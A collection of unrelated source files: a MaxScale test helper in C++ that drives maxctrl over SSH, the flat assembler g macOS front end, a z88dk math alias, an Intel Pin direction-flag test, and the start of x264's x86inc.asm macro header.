test_->repl->ip_private(num),
test_->repl->port[num],
ssl_line);
created_servers_.insert(num);
test_->stop_timeout();
}
void Config::alter_server(int num, const char* key, const char* value)
{
test_->maxscales->ssh_node_f(0, true, "maxctrl alter server server%d %s %s", num, key, value);
}
void Config::alter_server(int num, const char* key, int value)
{
test_->maxscales->ssh_node_f(0, true, "maxctrl alter server server%d %s %d", num, key, value);
}
void Config::alter_server(int num, const char* key, float value)
{
test_->maxscales->ssh_node_f(0, true, "maxctrl alter server server%d %s %f", num, key, value);
}
void Config::create_monitor(const char* name, const char* module, int interval)
{
test_->set_timeout(120);
test_->maxscales->ssh_node_f(0, true,
"maxctrl create monitor %s %s monitor_interval=%d user=%s password=%s",
name, module, interval, test_->maxscales->user_name,
test_->maxscales->password);
test_->stop_timeout();
created_monitors_.insert(std::string(name));
}
void Config::alter_monitor(const char* name, const char* key, const char* value)
{
test_->maxscales->ssh_node_f(0, true, "maxctrl alter monitor %s %s %s", name, key, value);
}
void Config::alter_monitor(const char* name, const char* key, int value)
{
test_->maxscales->ssh_node_f(0, true, "maxctrl alter monitor %s %s %d", name, key, value);
}
void Config::alter_monitor(const char* name, const char* key, float value)
{
test_->maxscales->ssh_node_f(0, true, "maxctrl alter monitor %s %s %f", name, key, value);
}
void Config::start_monitor(const char* name)
{
test_->maxscales->ssh_node_f(0, true, "maxctrl start monitor %s", name);
}
void Config::destroy_monitor(const char* name)
{
test_->set_timeout(120);
test_->maxscales->ssh_node_f(0, true, "maxctrl destroy monitor %s", name);
test_->stop_timeout();
created_monitors_.erase(std::string(name));
}
void Config::restart_monitors()
{
for (auto& a : created_monitors_)
{
test_->maxscales->ssh_node_f(0, true, "maxctrl stop monitor \"%s\"", a.c_str());
test_->maxscales->ssh_node_f(0, true, "maxctrl start monitor \"%s\"", a.c_str());
}
}
void Config::create_listener(Config::Service service)
{
int i = static_cast<int>(service);
test_->set_timeout(120);
test_->maxscales->ssh_node_f(0,
true,
"maxctrl create listener %s %s %d",
services[i].service,
services[i].listener,
services[i].port);
test_->stop_timeout();
}
void Config::create_ssl_listener(Config::Service service)
{
int i = static_cast<int>(service);
auto homedir = test_->maxscales->access_homedir(0);
test_->set_timeout(120);
test_->maxscales->ssh_node_f(0,
true,
"maxctrl create listener %s %s %d "
"--tls-key=%s/certs/server-key.pem "
"--tls-cert=%s/certs/server-cert.pem "
"--tls-ca-cert=%s/certs/ca.pem ",
services[i].service, services[i].listener, services[i].port,
homedir, homedir, homedir);
test_->stop_timeout();
}
void Config::destroy_listener(Config::Service service)
{
int i = static_cast<int>(service);
test_->set_timeout(120);
test_->maxscales->ssh_node_f(0,
true,
"maxctrl destroy listener %s %s",
services[i].service,
services[i].listener);
test_->stop_timeout();
}
void Config::create_all_listeners()
{
create_listener(SERVICE_RWSPLIT);
create_listener(SERVICE_RCONN_SLAVE);
create_listener(SERVICE_RCONN_MASTER);
}
void Config::reset()
{
/** Make sure the servers exist before checking that connectivity is OK */
for (int i = 0; i < test_->repl->N; i++)
{
if (created_servers_.find(i) == created_servers_.end())
{
create_server(i);
add_server(i);
}
}
}
bool Config::check_server_count(int expected)
{
bool rval = true;
if (test_->maxscales->ssh_node_f(0,
true,
"test \"`maxctrl list servers --tsv|grep 'server[0-9]'|wc -l`\" == \"%d\"",
expected))
{
test_->add_result(1, "Number of servers is not %d.", expected);
rval = false;
}
return rval;
}
|
match ,{
err ; fasm 1 assembly not supported
} match -,{
else
include 'selfhost.inc'
end match
_ equ }
format MachO executable
entry start
include '../version.inc'
interpreter '/usr/lib/dyld'
uses '/usr/lib/libSystem.B.dylib'
import libc.malloc,'_malloc',\
libc.realloc,'_realloc',\
libc.free,'_free',\
libc.fopen,'_fopen',\
libc.fclose,'_fclose',\
libc.fread,'_fread',\
libc.fwrite,'_fwrite',\
libc.fseek,'_fseek',\
libc.ftell,'_ftell',\
libc.time,'_time',\
libc.write,'_write',\
getenv,'_getenv',\
gettimeofday,'_gettimeofday',\
exit,'_exit'
struct timeval
time_t dd ?
suseconds_t dd ?
ends
segment '__TEXT' readable executable
section '__text' align 16
start:
mov ecx,[esp]
mov [argc],ecx
lea ebx,[esp+4]
mov [argv],ebx
call system_init
call get_arguments
mov bl,al
cmp [no_logo],0
jne logo_ok
mov esi,_logo
xor ecx,ecx
call display_string
logo_ok:
test bl,bl
jnz display_usage_information
xor al,al
mov ecx,[verbosity_level]
jecxz init
or al,TRACE_ERROR_STACK
dec ecx
jz init
or al,TRACE_DISPLAY
init:
call assembly_init
ccall gettimeofday,start_time,0
assemble:
mov esi,[initial_commands]
mov edx,[source_path]
call assembly_pass
jc assembly_done
mov eax,[current_pass]
cmp eax,[maximum_number_of_passes]
jb assemble
call show_display_data
mov esi,_error_prefix
xor ecx,ecx
call display_error_string
mov esi,_code_cannot_be_generated
xor ecx,ecx
call display_error_string
mov esi,_message_suffix
xor ecx,ecx
call display_error_string
jmp assembly_failed
assembly_done:
call show_display_data
cmp [first_error],0
jne assembly_failed
cmp [no_logo],0
jne summary_done
mov eax,[current_pass]
xor edx,edx
call itoa
call display_string
mov esi,_passes
cmp [current_pass],1
jne display_passes_suffix
mov esi,_pass
display_passes_suffix:
xor ecx,ecx
call display_string
ccall gettimeofday,end_time,0
mov eax,[end_time.time_t]
sub eax,[start_time.time_t]
mov ecx,1000000
mul ecx
add eax,[end_time.suseconds_t]
adc edx,0
sub eax,[start_time.suseconds_t]
sbb edx,0
add eax,50000
mov ecx,1000000
div ecx
mov ebx,eax
mov eax,edx
xor edx,edx
mov ecx,100000
div ecx
mov [tenths_of_second],eax
xchg eax,ebx
or ebx,eax
jz display_output_length
xor edx,edx
call itoa
call display_string
mov esi,_message_suffix
mov ecx,1
call display_string
mov eax,[tenths_of_second]
xor edx,edx
call itoa
call display_string
mov esi,_seconds
xor ecx,ecx
call display_string
display_output_length:
call get_output_length
push eax edx
call itoa
call display_string
pop edx eax
mov esi,_bytes
cmp eax,1
jne display_bytes_suffix
test edx,edx
jnz display_bytes_suffix
mov esi,_byte
display_bytes_suffix:
xor ecx,ecx
call display_string
mov esi,_new_line
xor ecx,ecx
call display_string
summary_done:
mov ebx,[source_path]
mov edi,[output_path]
call write_output_file
jc write_failed
call assembly_shutdown
call system_shutdown
ccall exit,0
assembly_failed:
call show_errors
call assembly_shutdown
call system_shutdown
ccall exit,2
write_failed:
mov ebx,_write_failed
jmp fatal_error
out_of_memory:
mov ebx,_out_of_memory
jmp fatal_error
fatal_error:
mov esi,_error_prefix
xor ecx,ecx
call display_error_string
mov esi,ebx
xor ecx,ecx
call display_error_string
mov esi,_message_suffix
xor ecx,ecx
call display_error_string
call assembly_shutdown
call system_shutdown
ccall exit,3
display_usage_information:
mov esi,_usage
xor ecx,ecx
call display_string
call system_shutdown
ccall exit,1
get_arguments:
xor eax,eax
mov [initial_commands],eax
mov [source_path],eax
mov [output_path],eax
mov [no_logo],al
mov [verbosity_level],eax
mov [maximum_number_of_passes],100
mov [maximum_number_of_errors],1
mov [maximum_depth_of_stack],10000
mov ecx,[argc]
mov ebx,[argv]
add ebx,4
dec ecx
jz error_in_arguments
get_argument:
mov esi,[ebx]
mov al,[esi]
cmp al,'-'
je get_option
cmp [source_path],0
jne get_output_file
mov [source_path],esi
jmp next_argument
get_output_file:
cmp [output_path],0
jne error_in_arguments
mov [output_path],esi
jmp next_argument
get_option:
inc esi
lodsb
cmp al,'e'
je set_errors_limit
cmp al,'E'
je set_errors_limit
cmp al,'i'
je insert_initial_command
cmp al,'I'
je insert_initial_command
cmp al,'p'
je set_passes_limit
cmp al,'P'
je set_passes_limit
cmp al,'r'
je set_recursion_limit
cmp al,'R'
je set_recursion_limit
cmp al,'v'
je set_verbose_mode
cmp al,'V'
je set_verbose_mode
cmp al,'n'
je set_no_logo
cmp al,'N'
jne error_in_arguments
set_no_logo:
or [no_logo],-1
cmp byte [esi],0
je next_argument
error_in_arguments:
or al,-1
ret
set_verbose_mode:
cmp byte [esi],0
jne get_verbose_setting
dec ecx
jz error_in_arguments
add ebx,4
mov esi,[ebx]
get_verbose_setting:
call get_option_value
cmp edx,2
ja error_in_arguments
mov [verbosity_level],edx
jmp next_argument
set_errors_limit:
cmp byte [esi],0
jne get_errors_setting
dec ecx
jz error_in_arguments
add ebx,4
mov esi,[ebx]
get_errors_setting:
call get_option_value
test edx,edx
jz error_in_arguments
mov [maximum_number_of_errors],edx
jmp next_argument
set_recursion_limit:
cmp byte [esi],0
jne get_recursion_setting
dec ecx
jz error_in_arguments
add ebx,4
mov esi,[ebx]
get_recursion_setting:
call get_option_value
test edx,edx
jz error_in_arguments
mov [maximum_depth_of_stack],edx
jmp next_argument
set_passes_limit:
cmp byte [esi],0
jne get_passes_setting
dec ecx
jz error_in_arguments
add ebx,4
mov esi,[ebx]
get_passes_setting:
call get_option_value
test edx,edx
jz error_in_arguments
mov [maximum_number_of_passes],edx
next_argument:
add ebx,4
dec ecx
jnz get_argument
cmp [source_path],0
je error_in_arguments
xor al,al
ret
get_option_value:
xor eax,eax
mov edx,eax
find_option_value:
cmp byte [esi],20h
jne get_option_digit
inc esi
jmp find_option_value
get_option_digit:
lodsb
test al,al
jz option_value_ok
sub al,30h
jc invalid_option_value
cmp al,9
ja invalid_option_value
imul edx,10
jo invalid_option_value
add edx,eax
jc invalid_option_value
jmp get_option_digit
option_value_ok:
dec esi
clc
ret
invalid_option_value:
stc
ret
insert_initial_command:
cmp byte [esi],0
jne measure_initial_command
dec ecx
jz error_in_arguments
add ebx,4
mov esi,[ebx]
measure_initial_command:
push ebx ecx edi
mov edi,esi
or ecx,-1
xor al,al
repne scasb
not ecx
dec ecx
mov edi,[initial_commands]
lea eax,[ecx+2]
test edi,edi
jz allocate_initial_commands_buffer
mov edx,[initial_commands_length]
add edi,edx
add eax,edx
cmp eax,[initial_commands_maximum_length]
ja grow_initial_commands_buffer
copy_initial_command:
rep movsb
mov ax,0Ah
stosw
dec edi
sub edi,[initial_commands]
mov [initial_commands_length],edi
pop edi ecx ebx
jmp next_argument
allocate_initial_commands_buffer:
push ecx
mov ecx,eax
call malloc
mov [initial_commands],eax
mov [initial_commands_maximum_length],ecx
mov edi,eax
pop ecx
jmp copy_initial_command
grow_initial_commands_buffer:
push ecx
mov ecx,eax
mov eax,[initial_commands]
call realloc
mov [initial_commands],eax
mov [initial_commands_maximum_length],ecx
mov edi,eax
add edi,[initial_commands_length]
pop ecx
jmp copy_initial_command
include 'system.inc'
include '../assembler.inc'
include '../symbols.inc'
include '../expressions.inc'
include '../conditions.inc'
include '../floats.inc'
include '../directives.inc'
include '../calm.inc'
include '../errors.inc'
include '../map.inc'
include '../reader.inc'
include '../output.inc'
include '../console.inc'
section '__cstring' align 4
_logo db 'flat assembler version g.',VERSION,10,0
_usage db 'Usage: fasmg source [output]',10
db 'Optional settings:',10
db ' -p limit Set the maximum allowed number of passes (default 100)',10
db ' -e limit Set the maximum number of displayed errors (default 1)',10
db ' -r limit Set the maximum depth of stack (default 10000)',10
db ' -v flag Enable or disable showing all lines from the stack (default 0)',10
db ' -i command Insert instruction at the beginning of source',13,10
db ' -n Do not show logo nor summary',13,10
db 0
_pass db ' pass, ',0
_passes db ' passes, ',0
_dot db '.'
_seconds db ' seconds, ',0
_byte db ' byte.',0
_bytes db ' bytes.',0
_write_failed db 'failed to write the output file',0
_out_of_memory db 'not enough memory to complete the assembly',0
_code_cannot_be_generated db 'could not generate code within the allowed number of passes',0
_open_mode db 'r',0
_create_mode db 'w',0
include '../tables.inc'
include '../messages.inc'
segment '__DATA' readable writable
section '__bss' align 4
include '../variables.inc'
source_path dd ?
output_path dd ?
maximum_number_of_passes dd ?
initial_commands dd ?
initial_commands_length dd ?
initial_commands_maximum_length dd ?
argc dd ?
argv dd ?
timestamp dq ?
start_time timeval
end_time timeval
tenths_of_second dd ?
verbosity_level dd ?
no_logo db ?
path_buffer rb 1000h
|
SECTION code_fp_math48
PUBLIC derror_pinfnc
EXTERN am48_derror_pinfnc
defc derror_pinfnc = am48_derror_pinfnc
|
; BEGIN_LEGAL
; Intel Open Source License
;
; Copyright (c) 2002-2016 Intel Corporation. All rights reserved.
;
; Redistribution and use in source and binary forms, with or without
; modification, are permitted provided that the following conditions are
; met:
;
; Redistributions of source code must retain the above copyright notice,
; this list of conditions and the following disclaimer. Redistributions
; in binary form must reproduce the above copyright notice, this list of
; conditions and the following disclaimer in the documentation and/or
; other materials provided with the distribution. Neither the name of
; the Intel Corporation nor the names of its contributors may be used to
; endorse or promote products derived from this software without
; specific prior written permission.
;
; THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
; ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
; LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
; A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE INTEL OR
; ITS CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
; SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
; LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
; DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
; THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
; (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
; END_LEGAL
PUBLIC TestDfByMovsd
.686
.model flat, c
extern source:word
extern dest:word
.code
TestDfByMovsd PROC
std
push esi
push edi
lea esi, source
add esi, 4
lea edi, dest
add edi, 4
movsd
movsd
pop edi
pop esi
ret
TestDfByMovsd ENDP
end |
;*****************************************************************************
;* x86inc.asm: x264asm abstraction layer
;*****************************************************************************
;* Copyright (C) 2005-2015 x264 project
;*
;* Authors: Loren Merritt <lorenm@u.washington.edu>
;* Anton Mitrofanov <BugMaster@narod.ru>
;* Fiona Glaser <fiona@x264.com>
;* Henrik Gramner <henrik@gramner.com>
;*
;* Permission to use, copy, modify, and/or distribute this software for any
;* purpose with or without fee is hereby granted, provided that the above
;* copyright notice and this permission notice appear in all copies.
;*
;* THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
;* WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
;* MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
;* ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
;* WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
;* ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
;* OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
;*****************************************************************************
; This is a header file for the x264ASM assembly language, which uses
; NASM/YASM syntax combined with a large number of macros to provide easy
; abstraction between different calling conventions (x86_32, win64, linux64).
; It also has various other useful features to simplify writing the kind of
; DSP functions that are most often used in x264.
; Unlike the rest of x264, this file is available under an ISC license, as it
; has significant usefulness outside of x264 and we want it to be available
; to the largest audience possible. Of course, if you modify it for your own
; purposes to add a new feature, we strongly encourage contributing a patch
; as this feature might be useful for others as well. Send patches or ideas
; to x264-devel@videolan.org .
%ifndef private_prefix
%define private_prefix x264
%endif
%ifndef public_prefix
%define public_prefix private_prefix
%endif
%ifndef STACK_ALIGNMENT
%if ARCH_X86_64
%define STACK_ALIGNMENT 16
%else
%define STACK_ALIGNMENT 4
%endif
%endif
%define WIN64 0
%define UNIX64 0
%if ARCH_X86_64
%ifidn __OUTPUT_FORMAT__,win32
%define WIN64 1
%elifidn __OUTPUT_FORMAT__,win64
%define WIN64 1
%elifidn __OUTPUT_FORMAT__,x64
%define WIN64 1
%else
%define UNIX64 1
%endif
%endif
%define FORMAT_ELF 0
%ifidn __OUTPUT_FORMAT__,elf
%define FORMAT_ELF 1
%elifidn __OUTPUT_FORMAT__,elf32
%define FORMAT_ELF 1
%elifidn __OUTPUT_FORMAT__,elf64
%define FORMAT_ELF 1
%endif
%ifdef PREFIX
%define mangle(x) _ %+ x
%else
%define mangle(x) x
%endif
%macro SECTION_RODATA 0-1 16
SECTION .rodata align=%1
%endmacro
%if WIN64
%define PIC
%elif ARCH_X86_64 == 0
; x86_32 doesn't require PIC.
; Some distros prefer shared objects to be PIC, but nothing breaks if
; the code contains a few textrels, so we'll skip that complexity.
%undef PIC
%endif
%ifdef PIC
default rel
%endif
%ifdef __NASM_VER__
%use smartalign
%endif
; Macros to eliminate most code duplication between x86_32 and x86_64:
; Currently this works only for leaf functions which load all their arguments
; into registers at the start, and make no other use of the stack. Luckily that
; covers most of x264's asm.
; PROLOGUE:
; %1 = number of arguments. loads them from stack if needed.
; %2 = number of registers used. pushes callee-saved regs if needed.
; %3 = number of xmm registers used. pushes callee-saved xmm regs if needed.
; %4 = (optional) stack size to be allocated. The stack will be aligned before
; allocating the specified stack size. If the required stack alignment is
; larger than the known stack alignment the stack will be manually aligned
; and an extra register will be allocated to hold the original stack
; pointer (to not invalidate r0m etc.). To prevent the use of an extra
; register as stack pointer, request a negative stack size.
; %4+/%5+ = list of names to define to registers
; PROLOGUE can also be invoked by adding the same options to cglobal
; e.g.
; cglobal foo, 2,3,7,0x40, dst, src, tmp
; declares a function (foo) that automatically loads two arguments (dst and
; src) into registers, uses one additional register (tmp) plus 7 vector
; registers (m0-m6) and allocates 0x40 bytes of stack space.
; TODO Some functions can use some args directly from the stack. If they're the
; last args then you can just not declare them, but if they're in the middle
; we need more flexible macro.
; RET:
; Pops anything that was pushed by PROLOGUE, and returns.
; REP_RET:
; Use this instead of RET if it's a branch target.
; registers:
; rN and rNq are the native-size register holding function argument N
; rNd, rNw, rNb are dword, word, and byte size
; rNh is the high 8 bits of the word size
; rNm is the original location of arg N (a register or on the stack), dword
; rNmp is native size
%macro DECLARE_REG 2-3
%define r%1q %2
%define r%1d %2d
%define r%1w %2w
%define r%1b %2b
%define r%1h %2h
%if %0 == 2
%define r%1m %2d
%define r%1mp %2
%elif ARCH_X86_64 ; memory
%define r%1m [rstk + stack_offset + %3]
%define r%1mp qword r %+ %1 %+ m
%else
%define r%1m [rstk + stack_offset + %3]
%define r%1mp dword r %+ %1 %+ m
%endif
%define r%1 %2
%endmacro
%macro DECLARE_REG_SIZE 3
%define r%1q r%1
%define e%1q r%1
%define r%1d e%1
%define e%1d e%1
%define r%1w %1
%define e%1w %1
%define r%1h %3
%define e%1h %3
%define r%1b %2
%define e%1b %2
%if ARCH_X86_64 == 0
%define r%1 e%1
%endif
%endmacro
DECLARE_REG_SIZE ax, al, ah
DECLARE_REG_SIZE bx, bl, bh
DECLARE_REG_SIZE cx, cl, ch
DECLARE_REG_SIZE dx, dl, dh
DECLARE_REG_SIZE si, sil, null
DECLARE_REG_SIZE di, dil, null
DECLARE_REG_SIZE bp, bpl, null
; t# defines for when per-arch register allocation is more complex than just function arguments
%macro DECLARE_REG_TMP 1-*
%assign %%i 0
%rep %0
CAT_XDEFINE t, %%i, r%1
%assign %%i %%i+1
%rotate 1
%endrep
%endmacro
%macro DECLARE_REG_TMP_SIZE 0-*
%rep %0
%define t%1q t%1 %+ q
%define t%1d t%1 %+ d
%define t%1w t%1 %+ w
%define t%1h t%1 %+ h
%define t%1b t%1 %+ b
%rotate 1
%endrep
%endmacro
DECLARE_REG_TMP_SIZE 0,1,2,3,4,5,6,7,8,9,10,11,12,13,14
%if ARCH_X86_64
%define gprsize 8
%else
%define gprsize 4
%endif
%macro PUSH 1
push %1
%ifidn rstk, rsp
%assign stack_offset stack_offset+gprsize
%endif
%endmacro
%macro POP 1
pop %1
%ifidn rstk, rsp
%assign stack_offset stack_offset-gprsize
%endif
%endmacro
%macro PUSH_IF_USED 1-*
%rep %0
%if %1 < regs_used
PUSH r%1
%endif
%rotate 1
%endrep
%endmacro
%macro POP_IF_USED 1-*
%rep %0
%if %1 < regs_used
pop r%1
%endif
%rotate 1
%endrep
%endmacro
%macro LOAD_IF_USED 1-*
%rep %0
%if %1 < num_args
mov r%1, r %+ %1 %+ mp
%endif
%rotate 1
%endrep
%endmacro
%macro SUB 2
sub %1, %2
%ifidn %1, rstk
%assign stack_offset stack_offset+(%2)
%endif
%endmacro
%macro ADD 2
add %1, %2
%ifidn %1, rstk
%assign stack_offset stack_offset-(%2)
%endif
%endmacro
%macro movifnidn 2
%ifnidn %1, %2
mov %1, %2
%endif
%endmacro
%macro movsxdifnidn 2
%ifnidn %1, %2
movsxd %1, %2
%endif
%endmacro
%macro ASSERT 1
%if (%1) == 0
%error assert failed
%endif
%endmacro
%macro DEFINE_ARGS 0-*
%ifdef n_arg_names
%assign %%i 0
%rep n_arg_names
CAT_UNDEF arg_name %+ %%i, q
CAT_UNDEF arg_name %+ %%i, d
CAT_UNDEF arg_name %+ %%i, w
CAT_UNDEF arg_name %+ %%i, h
CAT_UNDEF arg_name %+ %%i, b
CAT_UNDEF arg_name %+ %%i, m
CAT_UNDEF arg_name %+ %%i, mp
CAT_UNDEF arg_name, %%i
%assign %%i %%i+1
%endrep
%endif
%xdefine %%stack_offset stack_offset
%undef stack_offset ; so that the current value of stack_offset doesn't get baked in by xdefine
%assign %%i 0
%rep %0
%xdefine %1q r %+ %%i %+ q
%xdefine %1d r %+ %%i %+ d
%xdefine %1w r %+ %%i %+ w
%xdefine %1h r %+ %%i %+ h
%xdefine %1b r %+ %%i %+ b
%xdefine %1m r %+ %%i %+ m
%xdefine %1mp r %+ %%i %+ mp
CAT_XDEFINE arg_name, %%i, %1
%assign %%i %%i+1
%rotate 1
%endrep
%xdefine stack_offset %%stack_offset
%assign n_arg_names %0
%endmacro
%define required_stack_alignment ((mmsize + 15) & ~15)
%macro ALLOC_STACK 1-2 0 ; stack_size, n_xmm_regs (for win64 only)
%ifnum %1
%if %1 != 0
%assign %%pad 0
%assign stack_size %1
%if stack_size < 0
%assign stack_size -stack_size
%endif
%if WIN64
%assign %%pad %%pad + 32 ; shadow space
%if mmsize != 8
%assign xmm_regs_used %2
%if xmm_regs_used > 8
%assign %%pad %%pad + (xmm_regs_used-8)*16 ; callee-saved xmm registers
%endif
%endif
%endif
%if required_stack_alignment <= STACK_ALIGNMENT
; maintain the current stack alignment
%assign stack_size_padded stack_size + %%pad + ((-%%pad-stack_offset-gprsize) & (STACK_ALIGNMENT-1))
SUB rsp, stack_size_padded
%else
%assign %%reg_num (regs_used - 1)
%xdefine rstk r %+ %%reg_num
; align stack, and save original stack location directly above
; it, i.e. in [rsp+stack_size_padded], so we can restore the
; stack in a single instruction (i.e. mov rsp, rstk or mov
; rsp, [rsp+stack_size_padded])
%if %1 < 0 ; need to store rsp on stack
%xdefine rstkm [rsp + stack_size + %%pad]
%assign %%pad %%pad + gprsize
%else ; can keep rsp in rstk during whole function
%xdefine rstkm rstk
%endif
%assign stack_size_padded stack_size + ((%%pad + required_stack_alignment-1) & ~(required_stack_alignment-1))
mov rstk, rsp
and rsp, ~(required_stack_alignment-1)
sub rsp, stack_size_padded
movifnidn rstkm, rstk
%endif
WIN64_PUSH_XMM
%endif
%endif
%endmacro
%macro SETUP_STACK_POINTER 1
%ifnum %1
%if %1 != 0 && required_stack_alignment > STACK_ALIGNMENT
%if %1 > 0
%assign regs_used (regs_used + 1)
%elif ARCH_X86_64 && regs_used == num_args && num_args <= 4 + UNIX64 * 2
%warning "Stack pointer will overwrite register argument"
%endif
%endif
%endif
%endmacro
%macro DEFINE_ARGS_INTERNAL 3+
%ifnum %2
DEFINE_ARGS %3
%elif %1 == 4
DEFINE_ARGS %2
%elif %1 > 4
DEFINE_ARGS %2, %3
%endif
%endmacro
%if WIN64 ; Windows x64 ;=================================================
DECLARE_REG 0, rcx
DECLARE_REG 1, rdx
DECLARE_REG 2, R8
DECLARE_REG 3, R9
DECLARE_REG 4, R10, 40
DECLARE_REG 5, R11, 48
DECLARE_REG 6, rax, 56
DECLARE_REG 7, rdi, 64
DECLARE_REG 8, rsi, 72
DECLARE_REG 9, rbx, 80
DECLARE_REG 10, rbp, 88
DECLARE_REG 11, R12, 96
DECLARE_REG 12, R13, 104
DECLARE_REG 13, R14, 112
DECLARE_REG 14, R15, 120
%macro PROLOGUE 2-5+ 0 ; #args, #regs, #xmm_regs, [stack_size,] arg_names...
%assign num_args %1
%assign regs_used %2
ASSERT regs_used >= num_args
SETUP_STACK_POINTER %4
ASSERT regs_used <= 15
PUSH_IF_USED 7, 8, 9, 10, 11, 12, 13, 14
ALLOC_STACK %4, %3
%if mmsize != 8 && stack_size == 0
WIN64_SPILL_XMM %3
%endif
LOAD_IF_USED 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14
DEFINE_ARGS_INTERNAL %0, %4, %5
%endmacro
%macro WIN64_PUSH_XMM 0
; Use the shadow space to store XMM6 and XMM7, the rest needs stack space allocated.
%if xmm_regs_used > 6
movaps [rstk + stack_offset + 8], xmm6
%endif
%if xmm_regs_used > 7
movaps [rstk + stack_offset + 24], xmm7
%endif
%if xmm_regs_used > 8
%assign %%i 8
%rep xmm_regs_used-8
movaps [rsp + (%%i-8)*16 + stack_size + 32], xmm %+ %%i
%assign %%i %%i+1
%endrep
%endif
%endmacro
%macro WIN64_SPILL_XMM 1
%assign xmm_regs_used %1
ASSERT xmm_regs_used <= 16
%if xmm_regs_used > 8
; Allocate stack space for callee-saved xmm registers plus shadow space and align the stack.
%assign %%pad (xmm_regs_used-8)*16 + 32
%assign stack_size_padded %%pad + ((-%%pad-stack_offset-gprsize) & (STACK_ALIGNMENT-1))
SUB rsp, stack_size_padded
%endif
WIN64_PUSH_XMM
%endmacro
%macro WIN64_RESTORE_XMM_INTERNAL 1
%assign %%pad_size 0
%if xmm_regs_used > 8
%assign %%i xmm_regs_used
%rep xmm_regs_used-8
%assign %%i %%i-1
movaps xmm %+ %%i, [%1 + (%%i-8)*16 + stack_size + 32]
%endrep
%endif
%if stack_size_padded > 0
%if stack_size > 0 && required_stack_alignment > STACK_ALIGNMENT
mov rsp, rstkm
%else
add %1, stack_size_padded
%assign %%pad_size stack_size_padded
%endif
%endif
%if xmm_regs_used > 7
movaps xmm7, [%1 + stack_offset - %%pad_size + 24]
%endif
%if xmm_regs_used > 6
movaps xmm6, [%1 + stack_offset - %%pad_size + 8]
%endif
%endmacro
%macro WIN64_RESTORE_XMM 1
WIN64_RESTORE_XMM_INTERNAL %1
%assign stack_offset (stack_offset-stack_size_padded)
%assign xmm_regs_used 0
%endmacro
%define has_epilogue regs_used > 7 || xmm_regs_used > 6 || mmsize == 32 || stack_size > 0
%macro RET 0
WIN64_RESTORE_XMM_INTERNAL rsp
POP_IF_USED 14, 13, 12, 11, 10, 9, 8, 7
%if mmsize == 32
vzeroupper
%endif
AUTO_REP_RET
%endmacro
%elif ARCH_X86_64 ; *nix x64 ;=============================================
DECLARE_REG 0, rdi
DECLARE_REG 1, rsi
DECLARE_REG 2, rdx
DECLARE_REG 3, rcx
DECLARE_REG 4, R8
DECLARE_REG 5, R9
DECLARE_REG 6, rax, 8
DECLARE_REG 7, R10, 16
DECLARE_REG 8, R11, 24
DECLARE_REG 9, rbx, 32
DECLARE_REG 10, rbp, 40
DECLARE_REG 11, R12, 48
DECLARE_REG 12, R13, 56
DECLARE_REG 13, R14, 64
DECLARE_REG 14, R15, 72
%macro PROLOGUE 2-5+ ; #args, #regs, #xmm_regs, [stack_size,] arg_names...
%assign num_args %1
%assign regs_used %2
ASSERT regs_used >= num_args
SETUP_STACK_POINTER %4
ASSERT regs_used <= 15
PUSH_IF_USED 9, 10, 11, 12, 13, 14
ALLOC_STACK %4
LOAD_IF_USED 6, 7, 8, 9, 10, 11, 12, 13, 14
DEFINE_ARGS_INTERNAL %0, %4, %5
%endmacro
%define has_epilogue regs_used > 9 || mmsize == 32 || stack_size > 0
%macro RET 0
%if stack_size_padded > 0
%if required_stack_alignment > STACK_ALIGNMENT
mov rsp, rstkm
%else
add rsp, stack_size_padded
%endif
%endif
POP_IF_USED 14, 13, 12, 11, 10, 9
%if mmsize == 32
vzeroupper
%endif
AUTO_REP_RET
%endmacro
%else ; X86_32 ;==============================================================
DECLARE_REG 0, eax, 4
DECLARE_REG 1, ecx, 8
DECLARE_REG 2, edx, 12
DECLARE_REG 3, ebx, 16
DECLARE_REG 4, esi, 20
DECLARE_REG 5, edi, 24
DECLARE_REG 6, ebp, 28
%define rsp esp
%macro DECLARE_ARG 1-*
%rep %0
%define r%1m [rstk + stack_offset + 4*%1 + 4]
%define r%1mp dword r%1m
%rotate 1
%endrep
%endmacro
DECLARE_ARG 7, 8, 9, 10, 11, 12, 13, 14
%macro PROLOGUE 2-5+ ; #args, #regs, #xmm_regs, [stack_size,] arg_names...
%assign num_args %1
%assign regs_used %2
ASSERT regs_used >= num_args
%if num_args > 7
%assign num_args 7
%endif
%if regs_used > 7
%assign regs_used 7
%endif
SETUP_STACK_POINTER %4
ASSERT regs_used <= 7
PUSH_IF_USED 3, 4, 5, 6
ALLOC_STACK %4
LOAD_IF_USED 0, 1, 2, 3, 4, 5, 6
DEFINE_ARGS_INTERNAL %0, %4, %5
%endmacro
%define has_epilogue regs_used > 3 || mmsize == 32 || stack_size > 0
%macro RET 0
%if stack_size_padded > 0
%if required_stack_alignment > STACK_ALIGNMENT
mov rsp, rstkm
%else
add rsp, stack_size_padded
%endif
%endif
POP_IF_USED 6, 5, 4, 3
%if mmsize == 32
vzeroupper
%endif
